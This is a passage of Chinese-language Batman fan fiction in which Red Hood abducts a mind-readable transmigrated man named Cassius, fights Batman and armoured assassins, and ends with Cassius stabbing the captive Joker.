“怎麽？蝙蝠家的男人你打算通吃？”红头罩一只手扼住他的咽喉，用以胸抵背的姿势将人扣在怀里，冷笑着讥讽。 蝙蝠侠已经追到了他们的面前，双方正面对面站着。 “杰森。” 蝙蝠侠说。 “闭嘴！”红头罩暴怒地吼道。 蝙蝠侠本不想相信，但对方所有的反应，都让他不得不信。 卡修斯的心声似乎从没有说过谎。 他很难形容此刻的心情，既像美梦成真，又像噩梦来袭。 无论是布鲁斯还是蝙蝠侠，从不相信眼泪，但现在，面罩后的眼眶中，居然有了一丝湿意。 即便他还没有时间去找更有力的线索，但他知道，这就是杰森，他那个死在异乡，又被他亲手埋葬的儿子。 红头罩无论对哥谭还是对蝙蝠侠，都太了解了。而且，他和自己以及迪克，阿尔弗雷德一样，也听得到卡修斯的心声。刚才他情不自禁的质问就已经说明了这一点。 他想问杰森，既然活着，为什麽不回家，既然回了哥谭，为什麽不肯和他们相认。但这似乎也没有必要再问。 红头罩进入哥谭后的种种行为都表明，他恨蝙蝠侠，他回来，是来找害死他的蝙蝠侠报仇的。 可是，他是什麽时候认识卡修斯的，又为什麽断定卡修斯忘了他？ 从刚才红头罩说的短短一句话里，蝙蝠侠判断，卡修斯和杰森是在刺客联盟认识的。 他不明白，五年前他亲手埋葬的孩子，怎麽可能会出现在刺客联盟。 但即便现在他心中有多激动，又有多少问题，也绝对不是提问的好时机。 他不知道杰森是怎麽活过来的，这五年是怎样过的，但他知道，现在在自己面前的红头罩，绝不再是五年前的杰森·陶德——五年前的他，无论如何都不可能挟持一个普通人来逼迫对方就范。 “你的目标是我，放开他。”蝙蝠侠沉声说。 “对啊，你的目标是蝙蝠侠，你抓我干什麽？”卡修斯也在心里叫。 红头罩怪异的瞄了身前的人一眼，然后再一次看向蝙蝠侠：“怎麽，你心疼了？” “麦外敷人美心善，不心疼我心疼谁，你个不孝子，快放开你爸爸我！”卡修斯表面一本正经，心里继续疯狂吐槽。 扼住他咽喉的手指紧了紧。卡修斯立刻不敢再想什麽乱七八糟的东西，他开始冷静思考，怎麽让红头罩放松警惕，给蝙蝠侠创造解救自己的机会。 “闭嘴。别乱认儿子。你是不是真觉得我不会杀你？”红头罩低下头，咬着他的耳朵，恶狠狠的说。 卡修斯浑身鸡皮疙瘩起立。 这次他非常确定，自己绝对没有说话。 “你……” 他犹豫的开口，脑子里有了非常不好的预感。 “不会真能听到我心里在说什麽吧……” 卡修斯在心里疯狂呐喊：快否认！快否认！ 可惜红头罩对卡修斯憋了一肚子的邪火，这会儿终于有了报复的机会，于是故意大声说：“当然，不但我能听到，你的外敷也能听到呢。怎麽？他没告诉你吗？” 说着，他微微抬了抬下巴，示意了一下对面的蝙蝠侠。 卡修斯用祈求的眼神看向蝙蝠侠，想要从他那里获得一个想要的否定。 可惜蝙蝠侠没说话。 卡修斯表情逐渐绝望。他根本不敢想，蝙蝠侠到底是什麽时候能听到他的心声的。 破案了。 他就说为什麽蝙蝠侠总跟他肚子里的蛔虫似的，每次都能轻易猜中他想要做什麽。 原来不是他有超能力，而是自己的心早就漏成了个筛子。 麻了，这跟他每次都在蝙蝠侠面前果奔有什麽区别？这个世界对他的恶意是不是有点太大了？ 如果有可能，他真的很想光速逃离宇宙。 本来以为自己的人生再也不可能有比中了虚假的杏爱花粉更社死的事，没想到…… “什麽是杏爱花粉？” 红头罩颇有兴致的询问。 “关你屁事。” 卡修斯自暴自弃，直接开怼，希望红头罩能一怒之下掐死自己，随便自己重新投胎还是换个宇宙，总之绝对不会比现在更糟糕。 “杰，放开他，卡修斯和我们之间的恩怨一点关系都没有。” 蝙蝠侠放缓声调，安抚道。 红头罩像是听到了什麽好笑的事情一样，又动了动扼住卡修斯喉咙的手指，问：“嗳，你要我放开你吗？跟你的外敷走。” 卡修斯觉得自己对“外敷”这个词突然PTSD了，虽然蝙蝠侠面无表情的站在他们对面，但他完全不敢看对方。 可就这样认输，他又有点不甘心。 他印象里的红头罩虽然会杀人，但从不会滥杀无辜，自己多少也能算得上是“无辜”…… “你这是在心里夸我呢？” 红头罩插话。 怎麽会有人连别人的心声也要打断啊！ 卡修斯气极。 他很想什麽都不想，但控制不住，真的控制不住。 蝙蝠侠显然也听到了他的心声，已经缓缓做出攻势，打算强行把他从红头罩的手里抢回来。 卡修斯现在真的不想面对蝙蝠侠，但也不想这麽轻松被红头罩拿捏。 仗着心中笃定红头罩不会轻易杀自己，一看蝙蝠侠真的要来救自己了，连忙喊道：“儿砸，快带爸爸走！” 红头罩额头上的青筋爆了爆，他一个手刀砍晕了卡修斯。 卡修斯吭都没吭一声，就软了下来。 失去意识之前，他只来得及想一个问题：每天吃8顿还不够，力量训练必须跟上来了！ 红头罩及时架住了卡修斯，在将他翻转身体，一转眼就将他扛在了身上。 蝙蝠侠立即朝他扑了过来，但红头罩就像早就预料到似的，他直接朝着蝙蝠侠的脸扔出几枚小小的飞镖。 蝙蝠侠单手扬起披风去挡。飞镖接触到披风之后迅速爆炸。 他马上用披风裹住自己，但依然被爆炸产生的冲击波压地后退了好几步。 等他将躲开烟雾，重新望过去的时候，红头罩已经不见了踪影。 “便士一。” 蝙蝠侠唤道。 始终在耳机里待命的助手沉稳地回应他：“先生，您确定红头罩是……” 他没有继续说下去，因为那个名字是这个家里永远的痛。 “我要去墓地。” 他说。 “我已经在这里。”便士一说，同时，他还听到通信中有一阵有节奏的沙沙声，那是铁锹铲土的声音。 “蝙蝠车马上会来接您。”便士一继续说。 “追踪卡修斯·希尔的位置。”他跳上蝙蝠车，油门踩到最底。即使阿尔弗雷德正在做他想要做的事，现在他也不顾一切地朝着曾经埋葬杰森所在的目的疾驰而去。 “明白，追踪器已激活，正在移动中，已经将希尔先生的位置信息发送到蝙蝠车。” 蝙蝠侠没再回话，他点开接入蝙蝠车系统的蝙蝠计算机，打开便士一发给他的位置信息，看到代表卡修斯的红点正在往哥谭边缘的位置快速移动，和他目前行进的方向完全相反。 通常夜巡结束后，蝙蝠侠都会在通信器里和便士一就当晚的行动，一起吐槽或者互相讥讽一两句，但今天，通信里安静的出奇，谁都没有说话。 布鲁斯在卡修斯·希尔昏迷阶段，就为他的皮下注射了纳米追踪器。 他不希望有能用到这个的一天，但鉴于他们现在还不知道能读卡修斯·希尔心的人群范围，为他植入追踪器，也算是最后一道保险，一旦他遇到危险，蝙蝠侠希望能第一时间找到他，营救他，以免他的心声被心怀叵测的人利用。 可他没想到，这个追踪器这麽快就被激活，而且追踪他不是因为刺客联盟或者任何一个超级反派，而是杰森·陶德劫持了他。 又开了一小段距离后，蝙蝠侠猛地调转车头，朝着追踪器显示的位置开去。 “便士一，墓地交给你了，请一定要仔细确认。”蝙蝠侠郑重说道。 “请放心，我比您更想要知道答案。”便士一边下铲边说。 另一边，红头罩已经将卡修斯劫持到他在哥谭和大都会交界处所在的安全屋内。 他将卡修斯放在床上，又拿出一个小瓶，在他鼻子下面晃了晃。 卡修斯鼻子不受控制的抽搐两下，剧烈的打了好几个喷嚏，才悠悠转醒。 “醒了？”红头罩随便拉了只椅子，双腿随意的伸展，双手抱臂，在一旁凉凉地说。 卡修斯撑着床坐起来，又扶着撑起身体打量了一眼四周，终于将视线重新固定在了红头罩的脸上。 “大哥，你到底为什麽抓我啊？”卡修斯真是百思不得其解。 “你找蝙蝠侠麻烦麽正找的开心？怎麽突然改变目标，把我给劫持了？你的Daddy issue呢？” “你不是哭着喊着要当我爸爸？我抓你当然是因为我的Daddy issue。”红头罩阴阳怪气道。 卡修斯：我怎麽这麽不长记性，这个心里活动真的就非有不可了吗？ “红头罩大哥，我真的只是个普通市民，而且和蝙蝠侠也没有任何关系，最多就是崇拜过他一阵子，在我们粉丝的心里，偶像是我们的精神食粮，赛博外敷！不过既然你来了，我肯定爬墙，以后你就是……” “住口吧你！”红头罩忍无可忍地截停他满嘴跑的火车，又盯着他看了一会儿，才哼笑一声：“普通市民？我没见过单枪匹马和RPG硬刚的普通市民。” 卡修斯愣了一下，才恍然大悟道：“那天，掀翻第一辆车的人是你！” 红头罩又哼了一声：“除了我，还有谁会救你？” “罗宾，夜翼，连便士一也救过我。” 眼看红头罩又要发疯，卡修斯终于想起一个关键问题，马上问道：“你是不是认识我？” 红头罩确实想要发疯。 他提高嗓门，怒道：“又要装不认识？刚才难道不是你先认出我的吗？” 卡修斯一脸懵逼，他隐约感觉到，他们之间的沟通可能跟鸡鸭聊天没什麽区别——看着像，但事实上不是一个物种，所以也聊不到一块儿去。 “实验品！” 他生气的怒吼一声。 卡修斯愣住了。他想起来前不久也有个人这样叫他。 红头罩猛地将头罩掀掉，露出了他那张棱角分明，但怒气冲冲的脸。 “是你！”卡修斯无法置信地大叫。 杰森也感觉到不对了。 “你今天是怎麽认出我的？” “呃，通过头罩？” “你认识头罩不认识我？”杰森再一次质问。 卡修斯：…… “说话！” “大概因为头罩才是你的本体？” 杰森气地想敲开他的脑子，“我听得到你在想什麽！” 他大声警告。 “不是，你到底让我说什麽啊？我确实是通过头罩才认出你是谁的啊！”卡修斯觉得自己很无辜。 杰森慢慢冷静下来，说：“你还是没有想起我。” 卡修斯垂着眼，在心里疯狂反复默念： “富强民主文明和谐自由平等公正法治……*” 杰森：…… 第48章 用嘴说太累，你直接意会。 两个人对峙了一会儿，卡修斯感觉杰森看着自己的目光越来越危险，像是在考虑用哪种方式吃了自己——正经的那种吃。 “不正经的吃法你也可以想想。” 杰森再次开口道。 卡修斯简直要绝望了。能不能有个什麽东西把他心里那张嘴巴堵上啊，谁受得了一天到晚在别人面前果奔？ 一觉醒来发现全世界只有自己变成三体人怎麽办？在线等，挺急的。 杰森目露疑惑：“三体人是什麽？哪个星球的？我在宇宙航行的时候说不定能碰到。” 卡修斯：！ 是哦，要不然干脆从了他也行。红头罩的大腿比较粗，连外星公主都认识，还有一艘外星飞船。跟着他，岂不是圆满达成逃离地球的目标？从此真的可以换个星球重新生活了。 这个想法确实可行！ 卡修斯看向杰森的眼神逐渐猥-琐。 “你想怎麽吃？” 凭借着杰森对原身的感情，再加上他卖力地体力劳动，也不知道能不能顺利搭上他们那艘宇宙飞船。 从此，他的征途就是星辰大海！ “你是不是忘了，我能听到你心里在想什麽？”杰森瞪着他，语气相当危险。 卡修斯是行动派，既然有了计划，就打算立即执行。他完全不顾杰森的恐吓，双手搭上杰森的肩膀，主动投怀送抱。 “细节不重要，重要的是，我们两个都能达成心愿，不是吗？” 说完，卡修斯心中无缝衔接24字正能量，同时开始对杰森上下其手。 “当初看漫画的时候就对桶的大胸肌念念不忘，今天也算是能得偿所愿……” 杰森只听到他的心声说馋一个叫“桶”的胸肌，然后就一边念经一边在他胸口前摸来摸去，简直快被气到升天。 “你到底有几个男人，桶又是谁啊？起这种奇怪的名字，一听就不是什麽好东西！”杰森一边抵挡他作乱的手，一边怒吼。 卡修斯顿了下，毫无心理负担地说：“坏东西好东西你别管，你们的胸肌都很大就行了。” “行！你把我当替身是吧，我会把你的这些狗男人找出来都鲨了！”杰森一边恶狠狠地说，一边还在躲避他作乱的手。 “噗……”卡修斯忍不住笑出声。怕自己心里想点不该让杰森知道的东西，马上继续在心里给他安利社会主义内核价值观。 “啧，你配合一点不行吗？那天强吻我的时候不是看上去挺厉害？现在想起来装纯情了？” 他发现这个办法真好用，至少他不会再在不说话的时候想任何其他东西。 “够了，别闹了，在你没想起我之前，我是不会跟你上床的！”杰森忍无可忍，一把捉住他的手腕，用自己的身体重量，将卡修斯整个人按在了床上。 卡修斯瞪着眼看了会儿他，心想：说这种话的时候用这个姿势，就挺没说服力的。 “我是为了让你停手！”杰森咬牙切齿地说。 卡修斯甩开他的手，从他身下滚了一圈才坐起来，一本正经的想： “那你大概要失望了，我早就跟你说过，你认识的我，不是我，你口中那个‘实验品’可能已经死了，我只是不久前才霸占这具身体的一个孤魂野鬼。无论你们以前有什麽纠葛，我都不清楚，也不可能记起来。” 杰森耐心地听他在脑子里把这句话说完，才说：“我知道。” 卡修斯疑惑地看着他：知道什麽？ 杰森又开始瞪他：“你能不能用嘴说话？” “反正你能听到，我还费这个劲儿干什麽？” 而且这样还能有效地阻止我自己冒出什麽不适合被听到的心声。 杰森怒道：“你再这样，我可不会回答你的任何问题！” 卡修斯这才开口：“行吧，那你说说，你知道什麽？” 他发现杰森还挺单细胞的，说话做事都直来直去，跟八百个心眼子的布鲁斯以及提姆比起来，画风还是比较清奇，至于夜翼或者其他人，没接触过，不知道。 杰森瞪了他一眼，反问他：“老头子对你还真信任啊，把那个家里所有义警的秘密身份都告诉你了？” “呸，爸爸我冰雪聪明，是自己发现的好麽？” 杰森用手捏住他的双颊：“这麽喜欢给我当爹？” 卡修斯的嘴都给他捏变形了，他翻了翻眼睛：“你听错了。” 没说出口的就坚决不承认。卡修斯打定主意。 杰森根本没把他心里说的话当真，转而道：“你一说我倒是想起来了，你毁了我今天的蝙蝠侠诱捕计划，又导致去找那个替代品算账的时间也推迟，你说该怎麽补偿我？” 卡修斯指着自己的鼻子反问：“你在怪我？” 杰森用眼神跟他表示：不怪你怪谁。 “大哥，你当时要是把我像一个屁那样放了，你现在说不定已经在和battle，也得到你想质问的答案了！”卡修斯提高音量，用浑身的每一个毛孔都表达着自己不想背这个锅的诉求。” 不过他会对答案失望罢了。 杰森眯了眯眼，说：“你是不是知道什麽？” 卡修斯本想控制自己不要去想那个令人悲伤的父子局，但他忽然想到一个问题，自己对未来的警示都说不出口，那能不能用心声去转达呢？ 为了验证自己的想法，他立刻在心里开始思考记忆中的这段剧情。 是红头罩将蝙蝠侠诱至关着小丑的小黑屋，逼他杀小丑，可最终他还是失望了，最后，怒极的杰森朝布鲁斯开枪，布鲁斯却朝他提前扔出蝙蝠镖。失望至极的杰森启动埋好的炸弹，打算让三人同归于尽…… 在这场生死对峙中，最高兴的就是小丑。 啊！想着想着就开始生气了。 杰森用怀疑的眼神看着他：“你在想什麽？为什麽我听不到了？” 卡修斯抬眼看向杰森，不认为他是装的。如果他听到了刚才自己心里在想什麽，以他的性格，一定不会是现在这麽平静的样子的。 看来就算他心里在想未来可能会发生的事，对方也听不到。 “小丑在哪？”卡修斯忽然问。 “在……” 杰森刚说了一个字，忽然反应过来。 “你怎麽知道的？” 没人知道小丑被他绑架了，就算是蝙蝠侠也不知道。 卡修斯也不打算回答他这个问题，在心里自然而然的想着： “反正杀一个也是杀，两个也是杀，要不我去把这祸害噶了，问题不是完美解决？” 当初他在安德烈污水处理厂连杀好几个刺客联盟的杀手后，现在感觉自己的心态有点变了。以前他不敢杀人，也没想过有朝一日自己会亲手杀人，但是现在他发现，杀人对他来说，真的是件很容易的事，杀死一个人，也是最容易解决问题的办法。 杰森一把拽住他的衣领，说：“我跟你说过了，不要动小丑，他是我的！” 卡修斯一脸迷茫的看着他：“你什麽时候说过？” 杰森瞪了他好一会儿，才叹了口气，松开他说：“你忘了。” 在公寓之外，蝙蝠侠已经悄悄攀上外墙，他静静听着房中两人的对话，随时准备冲进去救援。 可他意识到，两人的气氛虽然剑拔弩张，但杰森绝没有想要伤害他的意思，他将一颗监听器小心的粘贴窗棱，自己也扒在外面安静等待。 这个距离，他还能听到卡修斯的心声。 卡修斯是真不知道他为什麽这麽执着的认定自己就是和他有交情的实验品，明明自己刚才已经在心里解释过了，可这孩子咋就这麽轴呢？ 他斟酌了一下，才说道：“拉撒路池水影响了你的脑子，你看拉尔斯就知道了，这玩意副作用很大，你现在想要做的，也许并不是你真正期望得到的。” 杰森斜睨他一眼：“你懂个屁，说的好像你没泡过池子似的。” 这回轮到卡修斯震惊了：“啊？我什麽时候泡过……不对，我是说，‘实验品’也泡过池子？” 杰森定定的看了他好几秒，然后说：“说你不记得了吧，你记得我泡过拉撒路池，说你是装的吧，你不记得我，也不记得自己。” 说着，他笑了笑：“算了，忘就忘了吧，那种破日子，忘了也好。可能我这个人就是天煞孤星，所有我在意的人，都会离我而去。” 说着，他重新将头罩戴好。 事实上，像他之前说的那样，自己是有办法让他想起以前的事的，只是过程比较残忍而已。 他从刺客联盟出来的时候，塔利亚给了他一束蓝莲。她说，只要点燃它，蓝莲燃起的气味能让任何一个人想起自己心底最深处的恐惧，重温噩梦。 他怀疑塔利亚早就知道卡修斯失忆了，也知道自己会去找他，所以故意给了自己这个东西。 他本来把卡修斯劫持到这里来，是真的想要对他用那个的。 想让他想起自己。 可两人聊了这麽久之后，杰森忽然不再想这麽做了。 红头罩现在在哥谭是杀人如麻的代名词，卡修斯明明知道，却不怎麽惧怕自己，还敢跟自己呛声，阴阳他，像是笃定自己绝对不会情绪失控杀死他似的——要知道，他疯起来连自己都害怕，被愤怒点燃的时候，他就想毁灭这个世界，为自己陪葬。 卡修斯不记得自己，但还是愿意帮他去杀小丑，就像他曾经承诺过的那样。 红头罩站了起来，走到窗口看着外面，对他说：“你走吧，以后只要别妨碍我要做的事，我不会再来找你。” 卡修斯：…… 我的母语是无语。 “大哥！讲点道理行不行，我根本就没妨碍过你好吗？” “要不是你突然路过……” “你也说了，我是路过，路过！我就出门倒个垃圾，结果被你劫持了，我找谁说理去？”卡修斯也对着他喊。 “烦死了！反正你现在就滚吧！”他大声说。 “你要我来就把我劫走，你让我滚我就滚？你这儿离我住的地方那麽远，我出门没带钱，哥谭这鬼地方连手机支付都用不了，你让我走回去啊？你把我送回去！”卡修斯也叫道。 “你也说了你是被我劫持的，没听过劫匪还把肉票送回家的，没那麽好的服务，让你外敷来接你！或者让那个替代品来也行！”杰森哼笑着，语气相当反派。 卡修斯眯了眯眼：“在这儿等我呢？我把蝙蝠侠或者罗宾叫来，你把他们一网打尽？” 杰森冷笑：“你太看得起我了。” 那可不是麽，在针对蝙蝠侠上，你是认真的。卡修斯还想到剧情中，他潜入泰坦塔，差点把提姆打死的情节。 啧，我怎麽又想起这种狗都嫌弃的情节？ 卡修斯试图最后跟他讲一次道理。 “还能听到我说话吗？” 杰森瞪他一眼：“用嘴说！” “用嘴说太累了，你就直接意会吧。” 说着，他在脑内回忆起杰森死后，蝙蝠侠决定杀死小丑，他几乎就要成功了，但最后被超人阻止。 “……蝙蝠侠变得越来越暴烈，残酷，用毁灭自己的方式打击敌人，像是期待自己某一天能死在哥谭街头似的。” 杰森的脸色变了：“你快滚，我不想知道这些！” 说着就要把他往门口推，但卡修斯跟个八爪鱼似的，扒着杰森不松手。 “后来提姆主动找到布鲁斯，他认为再这样下去，蝙蝠侠会死，他去找了迪克，希望迪克重新回来，成为罗宾，但迪克拒绝了。提姆为了不让布鲁斯继续自毁，主动要成为他的罗宾，但蝙蝠侠直接拒绝了，他说再也不会有罗宾。” “但他还是成为了罗宾！”杰森觉得自己又有些控制不住自己的情绪了，一把卡住了他的脖子。 “那是提姆强求的，最后也是他应得的！他对提姆比对你们任何一个人都苛刻，曾经甚至绝对不允许他出外勤！即便成为了罗宾，布鲁斯曾经也无数次对着他叫你的名字，但提姆从不敢对布鲁斯任性生气，因为他觉得自己从来都不是布鲁斯期待的那个罗宾！” “住口！别说了，我不想知道！”杰森暴怒的将卡修斯一把按在墙上。 “提姆从来都不是你的替代品，他9岁就靠自己的侦查能力判断出了蝙蝠侠是谁，他会成为罗宾，一是他不希望布鲁斯因为你的死葬送自己，还有就是，你，杰森·陶德，也曾是他的英雄，偶像！” “你帮他说话？为他鸣不平？那我呢？我就活该吗？” “咳……咳……我，我说了，我可以帮你杀小丑。拉尔斯，拉尔斯已经死了，要不然我也会替你……替你和你的‘实验品’去杀他。”卡修斯抓住他的手腕，艰难的开口。 “我从来都不在意他们！我在意的是……”杰森完全被愤怒控制，他原本蓝色的眼睛开始变绿，手上的力气越来越大。 “哗啦！”一声，窗户应声而碎，蝙蝠侠跟着碎裂的玻璃一起冲进房间，同时朝着杰森掐住卡修斯的手臂射出蝙蝠镖 第49章 亲，你该死了呦 在听到破窗的声音时，红头罩就甩开卡修斯，平移两步，偏头躲过飞镖。 金属刃片擦着头罩边缘划过，又深深扎入墙面。 卡修斯捂着脖子，一边深呼吸，一边目瞪口呆的看着扎入墙体的蝙蝠镖，深深感到绝望。 我也没喊救命啊，谁让你自作主张的？而且这是要干什麽呀？吓唬吓唬就行了，有必要下这麽重的手？ 这几个飞镖下去，刚才他那些心里话不是白说了吗？ 卡修斯气得想骂人。 杰森淡淡瞥了蝙蝠镖一眼，又转头看了看卡修斯。虽然卡修斯看不到头罩之后的表情，但也能猜到杰森此刻在用什麽眼神看着他。 无非就是在问他：脸疼不疼？ 卡修斯：带不动，真的带不动，这是我带过的最差的一届活爹！ 当然，这一切眼神或者心灵的交流都只发生在一瞬间。 红头罩已经反手抽出后腰的枪，直接朝着蝙蝠侠的脸开了几枪。 “你们这是在互相伤害吗？你们明明是在伤害我！” 合家欢爱好者卡修斯愤怒咆哮。 蝙蝠侠已经以普通人类不可能做到的诡异身法躲过子弹，近了红头罩的身，又在他准备继续开枪时，抬手卡住他搭在扳机上的食指关节抵住他，膝盖重重顶在他的腹部。 “呃……” 红头罩微微躬身，但另一只手却抽出腰间匕首，直接划向布鲁斯制住他食指的手臂。 连蝙蝠钢索都能割断的利刃轻易划开了蝙蝠侠的凯夫拉制服面料，红色的划痕在两人面前一闪而过。蝙蝠侠忍着痛，带着指虎的右手一拳打在红头罩的小臂上。 “嘶……” 红头罩手臂一麻，枪身脱手。但他的匕首也直接刺向蝙蝠侠的咽喉。他侧颈避让，锋利的刀刃划开了他颈部制服，在他的脖子上再留下一道血痕。 “呵，卢修斯的技术升级了。”杰森咽下喉头的一股腥甜，冷笑着再一次冲了过去。 蝙蝠侠顺势抓住杰森握着匕首递过来的手腕，将他过肩摔向茶几。 玻璃炸裂声中，红头罩蜷身翻滚，半跪起身时再次摸向腿部的枪，对着蝙蝠侠面前的书架连开三枪。 木屑与弹屑齐飞，蝙蝠侠扬起披风，将抓鈎枪直接埋入吊顶，借力荡起，躲过这波子弹。同时在地上扔了一个烟雾弹。 “跑什麽？你不是来抓我的麽？” 整个房间被灰雾吞没，红头罩开启头罩的内循环系统，潜入阴影之中。 空气里传来蝙蝠侠隔着呼吸器的声音：“跟我走。” 语气里是掩饰不住的关心和爱护。 这也是他曾经短暂拥有过的东西。那些美好的回忆突然如毒蛇般啃噬着他的神经。 刚来韦恩庄园时，他曾拿着自己封面已经被雨水泡得发皱，内页也破破烂烂的《傲慢与偏见》，扭捏地问：“我能……把书放在图书室吗？” 他以为布鲁斯会嫌弃他的书太旧，但他只是停下正在处理的邮件，转头看着他，温和地说道：“当然可以，这也是你的家，杰森。” 那时的杰森·陶德怀着虔诚的心情，将那本破破烂烂的书塞进一屋子精装书的书架最底层。真好，他的书终于有个可以安家的地方了，他也是。 可是现在，因为小丑，他失去了一切，而罪魁祸首还好好活着。 我本可以忍受黑暗，如果我不曾见过太阳。 听到卡修斯为布鲁斯的辩解，他一开始是不信，到后来又觉得愤怒。 如果布鲁斯和他一样痛苦，那这些年，支持他活下来的仇恨又算什麽？ 他没办法原谅，更没有办法遗忘。 现在，布鲁斯又把这种温柔给了别人，把蝙蝠镖和拳头，还有憎恶，留给了红头罩。 他的拳头穿过烟雾砸中蝙蝠侠的下颚，发出“喀拉”一声。 “啊！”卡修斯冷汗都下来了。还以为红头罩把蝙蝠侠的喉骨给打碎了。 来真的啊？你不是有很多话要说，要质问的吗？这会儿不说了，就纯斗殴啊？ 红头罩恶狠狠的瞪了卡修斯一眼：“没你的事，滚一边去。” 蝙蝠侠后退几步，“杰森……” 他用了自己原本的声音，内置在头罩中的变声器在一拳的力量下，已经完全损坏。 “别他妈叫我名字！”杰森隐在头罩目镜之下的绿眸隐隐泛红，他用枪口顶住蝙蝠侠的胸口：“我是真的会杀了你。” “你只是病了，回家吧，让我来帮你。” 阿尔弗雷德效率很高，在他快要追踪到的时候，就已经向他汇报了墓地的探查结果，原本早就应该化成一具白骨的棺材里，躺着的人依旧栩栩如生——那是一具几乎可以以假乱真的真人模型。这说明，杰森在下葬的时候，就已经被掉包，而他竟然丝毫都没察觉到。 而刚才潜伏在窗外，他听到了两人的对话，从这些内容和卡修斯的心声中，他也拼凑出了杰森复活的真相。 当初他的身体被拉尔斯带走，又沉入拉撒路池复活，然后在刺客联盟接受了五年的杀手训练。 如今，他回到哥谭，就是为了找当初害死他的蝙蝠侠报仇的。 这一切都是他的错。 他不需要别人为他辩解，他所经历的一切，都是惩罚。他当初没能救杰森，后来又愧对提姆。 如果有报应，也应该是他来承受，而不是让卡修斯来替他承受红头罩的苛责和怒火。 “哈！家？从知道小丑还活着的那一刻起，我就没有家了。”杰森怪笑一声，冷冷地说道。 卡修斯的白眼简直要翻到天上去。看来刚才那麽一大段，不但对爹白说，对儿子也是白说。 强行走剧情是吧？行，牛。牛牛。 “你恨我。”蝙蝠侠平静的说。 “是。我恨你，恨那个替代品。”红头罩的语气也很冷静。 卡修斯：累了，毁灭吧。 头一次觉得他们彼此值得拥有一个读心术，可为什麽这个坑爹的技能就点到他头上了呢？ 真心建议你们，不会说话的话，可以把嘴捐给需要的人。 卡修斯对着他们大声用心声隔空喊话。 主要是现在的气氛真的很不适合他这个外人开口说话。 但是他们都像是没听见他的心声似的，连一个眼神都没分给他。 蝙蝠侠抬起手，握住红头罩用枪口抵着他胸口的手腕。 “你开枪吧。如果这是你想做的。” 没有了变声器的加持，布鲁斯的声音显得异常温柔。 “你以为我不敢吗？！” 杰森仿佛被激怒里，他厉声喊道。 布鲁斯带着他的手腕，将枪口从他胸口处，移到他自己的下颚，没有被制服和面罩遮挡的皮肤上。 “DO IT！” 布鲁斯说。 空气凝固成冰。 连卡修斯都屏住了呼吸，生怕杰森受不住刺激，一时冲动真的开了枪。 “布鲁斯你闭嘴吧！他脑子进水了受不了刺激，真让他杀了你，你想逼死他吗？杰森你给我清醒点啊！千万别做让自己后悔的事！文明和谐法治友善，我给你科普了那麽多遍，你怎麽一点都没听进去呢？啊啊啊！要不你们把我鲨了助兴吧，这血虐的发展是人能看的吗？我还是被迫强行观赏！自由呢，人权呢？你们美利坚的精神呢？我要告你们虐待路人！” 原本凝重又悲苦的气氛被两人脑子里一起滚过的弹幕破坏了个干净。 杰森转过头看着卡修斯，认真思考要不要把他再一次劈晕算了。 看蝙蝠侠微微侧身的动作，好像跟他也有同样的想法。 窗外忽然传来机械关节的嗡鸣。四具泛着银色冷光的外骨骼装甲极快地从远处逼近，随着碎窗的二次声响，能量刃的蓝光切开烟雾，直取红头罩后心。 蝙蝠侠本能地扑到红头罩。能量刃擦过他的制服护甲，在墙面犁出一道焦黑沟壑。 “你他妈的是不是有病，我不需要你保护！”红头罩一把推开蝙蝠侠，眼看着对方的血顺着手甲的爪尖，一滴一滴的落了下来。 “妈的找死！”杰森的眼睛瞬间红了，他一脚踹翻杀手，手里的枪直接怼在对方脑袋顶上亮灯的地方，直接开枪爆了对方的头。 “别！” “砰！” 枪声和蝙蝠侠阻止他的叫声同时响起。 那人的头部装甲被打穿，鲜血和脑浆如同礼花般爆了出来。 “呵，他们是杀手，你跟杀手讲仁慈？就因为你这样，哥谭现在都快成杀手窝了，清醒点吧，蝙-蝠-侠！” 蝙蝠侠甩出蝙蝠镖，击中另一个扑向红头罩的杀手的膝关节，精密的齿轮卡斯，发出刺耳的摩擦，蝙蝠镖释放出电击，那人瞬间惨叫着抽搐一阵，直接被电晕了过去。 一个瞬息之间，原本还针锋相对的两人，已经变成了背靠背迎敌的姿势，就像很多年前的蝙蝠侠和罗宾那样。 那是比仇恨更诚实的肌肉记忆。 室内的空间还是太狭小，两人甚至不用互相交流，曾经长久配合的默契让他们不约而同地先后跳向窗外，打算将人引导室外快速处理掉。 一冲到室外，布鲁斯就用抓鈎枪缠住高层的防火梯栏杆，又将一名追着他们来的杀手钓上半空。 杰森手快的在他盔甲的内源内核上粘贴一块纽扣炸弹。 爆炸产生的能量让他的盔甲瞬间红温，杀手惨叫着晕了过去。 “留活口！”布鲁斯按住杰森要补枪的手。 可杰森像是故意激怒他似的，直接将匕首插进对方的咽喉，结束了他的性命。 “没这个习惯。”红头罩冷笑着拔出匕首。 最后一个杀手后退几步，转身就跑，两人齐齐追了上去。 卡修斯贴着墙角缓缓站起来，他走到那个被电晕的杀手面前仔细看了看，确认这波不是冲着自己来的。 随后，他单手摸着墙壁，一边用手指轻轻敲着，一边缓缓走动。 直到敲到某面墙之间，和其他墙面截然不同的回声让他停住了脚步。 他又在屋里转了一圈，捡起红头罩被蝙蝠侠打掉的那把枪，还有掉在地上的，还泛着蓝光的能量刃。 没有枪，没有炮，自有那敌人送上前。 华国人果然不骗华国人。 卡修斯举起能量刃，一刀狠狠砍了下去。 墙面被劈开一道深深的裂痕。 他对着同一个地方，连续砍了好几下，终于将墙面砍穿。然后，他几脚踹下去，顺着裂痕，将砖墙踹出个大窟窿。 墙壁后面，露出一个只有两平米大小的暗室，小丑正被铁链捆在椅子上。他的脸已经肿成个猪头，一看就是每天被打一顿，他的绿发上也沾满了血痂。 有光射进来，他眯了眯眼睛，抬起头，露出他画的艳红的血盆大口。 他歪头打量卡修斯，然后露出一个可怕的笑容：“新朋友？要不要玩个游戏？” 卡修斯的脑海里清晰的响起同一个声音：嘁，这又是哪个蠢货？我的小死鸟和小蝙蝠怎麽没来，游戏最精彩的部分就要来了，我不允许任何一个人破坏！” 卡修斯举起枪，贴住他的额头。 小丑的笑容更盛了。 “我刚才可听到了，他认识小死鸟，也认识小蝙蝠，他们这种人，不可能开枪杀人，而且，杀了我，他也会变成一个疯子！哈哈哈！” “你可不能杀我。”小丑晃着脚链嬉笑：“小蝙可讨厌枪了，而且，我可是小死鸟用来证明父爱的工具，你杀了我，小死鸟会恨死你的！” “你说的对。” 卡修斯收起了枪。 小丑哈哈大笑。 “笑话，又是一个笑……” 但他还没想完，卡修斯就举起能量刃，一刀戳进他的胸口。 